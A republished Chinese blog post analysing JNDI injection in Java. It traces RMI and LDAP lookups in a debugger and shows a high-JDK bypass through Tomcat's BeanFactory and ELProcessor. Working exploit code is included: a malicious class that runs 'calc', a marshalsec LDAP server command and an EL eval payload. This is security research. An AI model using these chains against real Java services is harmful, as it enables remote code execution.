JNDI注入分析

这篇具有很好参考价值的文章主要介绍了JNDI注入分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

JNDI介绍

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。其中Naming Service类似于哈希表的K/V对,通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service,用类似目录的方式来存取服务。
从介绍看可以知道JNDI分为四种服务

  • RMI
  • LDAP
  • DNS
  • CORBA

RMI之前已经分析过了,今天就来研究剩下的服务

JNDI的简单应用

以rmi为例子,我们先准备rmi的服务端,然后再创建JNDI的服务端与客户端,这里用marshalsec-0.0.3-SNAPSHOT-all.jar搭建的rmi服务

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDIRmiServer {
    public static void main(String[] args) throws NamingException {
        // 创建一个上下文对象
        InitialContext context = new InitialContext();
        // 创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
        Reference ref = new Reference("evilref", "evilref", "http://127.0.0.1:8888/");
        context.rebind("rmi://127.0.0.1:1099/evilref", ref);
    }
}
import java.io.IOException;

public class evilref {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        
    }
}
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRmiClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/evilref");
    }
}

成功弹出计算器
JNDI注入分析
在这个过程中lookup实际上就是去寻找了我们自定义的引用对象Ref,然后实例化触发了calc
发现上面的JNDI服务端根本没用到.....

JNDI注入--RMI

lookup处打个断点
JNDI注入分析
调用里面的lookup,而这个lookup实际上指的是GenericURLContext#lookup,这次JNDI调用的是RMI服务,因此进入到了GenericURLContext,对应不同的服务contenxt也会不同,继续跟进
JNDI注入分析
继续跟进lookup
JNDI注入分析
这里又进入lookup,不过这个lookup是注册中心的lookup,我们在讲RMI的时候分析过,这是一个潜在的反序列化漏洞点,略过这里,进入decodeObject
JNDI注入分析
本来我们传入的object是一个引用类型,到这里变成了引用Wrapper,再结合方法的名字,可以判断在JNDI服务端可能做了一层"加密",我们客户端先停在这里,我们调试一下服务端,同样进入rebind
跟bind一样进入GenericURLContext
JNDI注入分析
进入rebind
JNDI注入分析
又是注册Registry的rebind方法,可以看到这里确实进行了encode
返回客户端,进入decodeObject
JNDI注入分析
跟进getObjectInstance方法
JNDI注入分析
refInfo是引用类型,所以进入getObjectFactoryFromReference获取对象工厂,跟进
JNDI注入分析
可以看到我们的自定义ref引用进来了,通过loadClass进行加载,远程加载并且实例化
JNDI注入分析
这里需注意jdk版本,jdk8u121之后就修复了这个远程加载恶意类

修复方案

在2016年后对RMI对应的context进行了修复,添加了判断条件,JDK 6u45、7u21后,java.rmi.server.useCodebaseOnly 的值默认为true。也就没法进入getObjectInstance了
JNDI注入分析

JNDI注入--LDAP

虽然Java设计师修复了RMI,但是发现这个漏洞的师傅简单挖挖又发现了ldap也能JNDI注入(,分析一下,笔者所用jdk版本8u65

LDAP介绍

啥是ldap服务呢,可以把ldap理解为一个储存协议的数据库,它分为DN DC CN OU四个部分
树层次分为以下几层:

  • dn:一条记录的详细位置,由以下几种属性组成
  • dc: 一条记录所属区域(哪一个树,相当于MYSQL的数据库)
  • ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
  • cn/uid:一条记录的名字/ID(树的叶节点的编号,相当于MYSQL的表主键)

LDAP创建

还是使用 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#evilref 1099,这样LDAP就启动了

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILDAPClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1:1099/evilref");
    }
}

JNDI注入分析

流程分析

还是在lookup打断点跟进,进入ldapURLContextJNDI注入分析
进入父类的lookup,来到GenericURLContext
JNDI注入分析
继续跟进lookup,来到PartialCompositeContext
JNDI注入分析
继续跟进var2.p_lookup
JNDI注入分析
再进入c_lookup
JNDI注入分析
往下看也是进入了decodeObjectJNDI注入分析
往下走进入decodeReference
JNDI注入分析
进入Reference,往下走,来到这,眼熟的很,跟rmi一样的操作JNDI注入分析
跟进这个对象工厂,loadClass
JNDI注入分析
远程加载恶意类并实例化
JNDI注入分析

JNDI注入--RMI高版本绕过

换个高版本的jdk,我使用jdk8u202,简单跑一下,可以发现弹不了计算器了
经过一系列的构式调试,进到最后,这里有个判断,阻止了我们实例化类
image.png
那么我们怎么绕过这个呢?我们关键的方法是NamingManager#getObjectFactoryFromReference
到上面实例化的地方,我们的类其实已经被加载初始化了,所以我们只需要找到继承ObjectFactory的类,因为这样会调用getObjectFactoryFromReference我们找到BeanFactory,这个是在tomcat的依赖包中,我们添加依赖:

<dependencies>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.el</groupId>
            <artifactId>com.springsource.org.apache.el</artifactId>
            <version>7.0.26</version>
        </dependency>
</dependencies>

然后就能找到BeanFactory了,这里存在反射调用methodJNDI注入分析
构造一下服务端:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRmiServer {
    public static void main(String[] args) throws NamingException {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calc", referenceWrapper);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRmiClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("rmi://localhost:1099/calc");
    }
}

成功弹出计算器
JNDI注入分析

流程分析

还是lookup打断点,直接定位到getObjectFactoryFromReference
JNDI注入分析
跟进到loadClass,可以发现factoryName是BeanFactory
JNDI注入分析
继续跟进,出来后,进去factory.getObjectInstance
JNDI注入分析
这里获取forceString的值
JNDI注入分析
这里取到eval
JNDI注入分析
这里获取我们写入的恶意代码,value,然后invoke执行
JNDI注入分析
到此分析结束文章来源地址https://www.toymoban.com/news/detail-843909.html

到了这里,关于JNDI注入分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

原文地址:https://www.cnblogs.com/F12-blog/p/18100120

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CVE-2023-25194漏洞 Apache Kafka Connect JNDI注入漏洞

    Apache Kafka 的最新更新解决的一个漏洞是一个不安全的 Java 反序列化问题,可以利用该漏洞通过身份验证远程执行代码。 Apache Kafka 是一个开源分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。超过 80% 的财富 100 强公司信任并使

    2024年02月12日
    浏览(5)
  • Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

    Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 l

    2024年02月07日
    浏览(10)
  • JAVA安全之Log4j-Jndi注入原理以及利用方式

    什么是JNDI? JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。 JDNI主要通过JNDI SPI(Service Provider Interface)规范来实现,该规范定义了对JNDI提供者应实现的接口。在JNDI体系中,JNDI提供者是指实际提供命名和目录服务的软件组

    2024年01月19日
    浏览(17)
  • 037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

    1、JavaEE-JNDI注入-RMILDAP 2、JavaEE-漏洞结合-FastJson链 3、JavaEE-漏洞条件-JDK版本绕过 演示案例: ➢JNDI注入-RMILDAP服务 ➢JNDI注入-FastJson漏洞结合 ➢JNDI注入-JDK高版本注入绕过 思考明白: 什么是jndi注入 为什么有jndi注入 JDNI注入安全问题 JDNI注入利用条件 参考:https://blog.csdn.net/

    2024年04月10日
    浏览(8)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(7)
  • 036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

    1、JavaEE-组件安全-Log4j 2、JavaEE-组件安全-Fastjson 3、JavaEE-基本了解-JNDI-API 演示案例: ➢Java-三方组件-Log4JJNDI ➢Java-三方组件-FastJson反射 Jar仓库: https://mvnrepository.com/ Maven配置: https://www.jb51.net/article/259780.htm JNDI相关概念: 1、JNDI是一个接口,在这个接口下会有多种目录系统

    2024年02月21日
    浏览(6)
  • 第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce

    感谢N1CTF提供的题目 声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护 这道题对于我来说涉猎的广度大难度大,对于佬来说就洒洒水,所以这个wp可能会绕圈子或者复杂化,也可以去看前几名的题解,都非常不错!

    2024年02月20日
    浏览(7)
  • Spring反序列化JNDI分析

    Spring框架的 JtaTransactionManager 类中重写了 readObject 方法,这个方法最终会调用到JNDI中的 lookup() 方法,关键是里面的参数可控,这就导致了攻击者可以利用JNDI注入中的lookup()参数注入,传入恶意URI地址指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表服

    2024年04月08日
    浏览(10)
  • Scala的特质trait与java的interface接口的区别,以及Scala特质的自身类型和依赖注入

    Scala中的特质(trait)和Java中的接口(interface)在概念和使用上有一些区别: 默认实现:在Java中,接口只能定义方法的签名,而没有默认实现。而在Scala的特质中,除了可以定义方法签名外,还可以定义方法的具体实现。这样,在混入(mix in)特质的类中,可以直接使用特质

    2024年02月10日
    浏览(7)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包